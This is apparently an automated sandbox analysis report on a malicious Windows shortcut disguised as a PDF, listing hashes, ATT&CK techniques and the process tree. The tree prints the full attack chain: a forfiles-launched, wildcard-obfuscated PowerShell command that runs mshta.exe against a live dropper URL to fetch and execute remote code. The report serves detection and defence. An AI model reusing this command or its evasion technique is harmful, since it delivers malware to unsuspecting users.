a33bf755d49373160c54ca9d13df9fd2e5efbe0f86d22a208d9687790fe00ed4

Analysis

max time kernel
140s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-10-2024 17:24

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General

Target

A/Instruction_1928.pdf.lnk
Size

2KB
MD5

b874532b90be5bd56eca4b28951f2f76
SHA1

0356abd795c63a10cad9383a767687c92fc1b5f8
SHA256

92216ebdd28ee3a886e296fd4ef8c5341b8c9dba8f1d1c498db62c95efc97262
SHA512

036d26c62b65af38075842642708cf3e3f8eaef05025a7b3449d39e2f15c09a80cfd79ddf411c6d6d1aadd7fca4a462c4f86b5f1375166928457b759822586d3

Score

10^/10

defense_evasion

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://ftp.timeless-tales.shop/api/reg/Panto

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow	pid	Process
8	3628	mshta.exe
10	3628	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	cmd.exe

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

Processes:

forfiles.exe

pid	Process
1092	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
4156	powershell.exe
4156	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	4156	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exeforfiles.exepowershell.exe

description	pid	Process	procid_target
PID 4380 wrote to memory of 1092	4380	cmd.exe	85
PID 4380 wrote to memory of 1092	4380	cmd.exe	85
PID 1092 wrote to memory of 4156	1092	forfiles.exe	86
PID 1092 wrote to memory of 4156	1092	forfiles.exe	86
PID 4156 wrote to memory of 3628	4156	powershell.exe	87
PID 4156 wrote to memory of 3628	4156	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\A\Instruction_1928.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\ /m Use*s /c "powershell Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto"
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://ftp.timeless-tales.shop/api/reg/Panto
      4⤵
      Blocklisted process makes network request
      PID:3628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jb2saca.niw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4156-0-0x00007FFE02ED3000-0x00007FFE02ED5000-memory.dmp

Filesize
8KB

Download
memory/4156-1-0x0000027BFB390000-0x0000027BFB3B2000-memory.dmp

Filesize
136KB

Download
memory/4156-11-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download
memory/4156-14-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download
memory/4156-16-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download